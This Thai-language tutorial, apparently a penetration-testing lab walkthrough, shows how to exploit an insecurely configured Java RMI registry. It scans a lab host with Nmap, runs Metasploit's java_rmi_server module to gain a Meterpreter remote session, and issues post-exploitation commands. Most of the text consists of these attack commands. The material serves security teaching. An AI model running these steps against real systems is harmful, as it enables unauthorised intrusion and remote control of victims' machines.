บทนำ (Overview)
บทความนี้นำเสนอการยึดช่องโหว่ของ “Java Remote Method Invocation” (RMI) ที่อนุญาตให้ “object” ที่กำลัง “run” อยู่บน “Java virtual machine” หนึ่ง นั้นสามารถเรียกใช้งาน “method” ของ “object” ที่กำลัง “run” อยู่อีก “Java virtual machine” ซึ่งถ้ามีการปรับแต่งค่าอย่างไม่ปลอดภัย (insecure configuration) ก็จะอนุญาตให้สามารถ “load java class” จากทุกๆ “remote url” (HTTP)
ขั้นตอน (Steps)
- ให้ตรวจสอบหมายเลข “Port” ที่ให้บริการ ของเครื่องเป้าหมายโดยใช้ “Nmap” ดังนี้
nmap -A -v 192.168.1.58
- ตรวจสอบ “Port” ของ “rmiregistry” จากตัวอย่างคือ
1099/tcp open rmiregistry GNU Classpath grmiregistry |_rmi-dumpregistry: Registry listing failed (No return data received from server)
- ใช้คำสั่ง “msfconsole” เพื่อใช้งาน “Metasploit”
msfconsole
- ให้ใช้คำสั่งค้นหาตัว “java_rmi” ดังกล่าว
search java_rmi
- เมื่อเจอ “Module” ดังกล่าวให้เรียกใช้โดยใช้คำสั่ง “use”
use exploit/multi/misc/java_rmi_server
- ตั้งค่า “Parameter” ต่าง ๆ ดังนี้
//แสดง parameter show options //ตั้งค่า IP เครื่องเป้าหมาย set RHOST 192.168.1.58
- เมื่อตั้งค่าเสร็จทดลองใช้คำสั่ง “exploit” เพื่อให้ได้ “Meterpreter session” มา
exploit
- เราสามารถใช้ “help command” เพื่อช่วยดูว่ามีคำสั่งอะไรบ้างที่สามารถช่วยสนับสนุนการ “Exploit” ของเราให้ง่ายและสะดวกขึ้น
help
- เราสามารถใช้งานคำสั่ง “background” เพื่อย้อนกลับไปตั้งค่า “exploit” ได้ ในขณะเดียวกันก็สามารถย้อนกลับอยู่ใน “Meterpreter Sessions” ได้เช่นเดิม โดยใช้คำสั่งดังต่อไปนี้
sessions -h //ดู options อื่น ๆ สำหรับจัดการ sessions sessions -l //ตรวจสอบ sessions ทั้งหมดที่มีอยู่ Background ที่เชื่อมต่อกับเครื่องเหยื่อ sessions -i 3 //เรียกใช้งาน sessions ตามลิสต์ที่มีอยู่ background //ย้อนกลับไปส่วนของตั้งค่า Exploit ซ่อน "Meterpreter sessions"
- ในส่วนของ “meterpreter session” เราก็สามารถใช้คำสั่งได้หลากหลายเช่น
ipconfig getuid sysinfo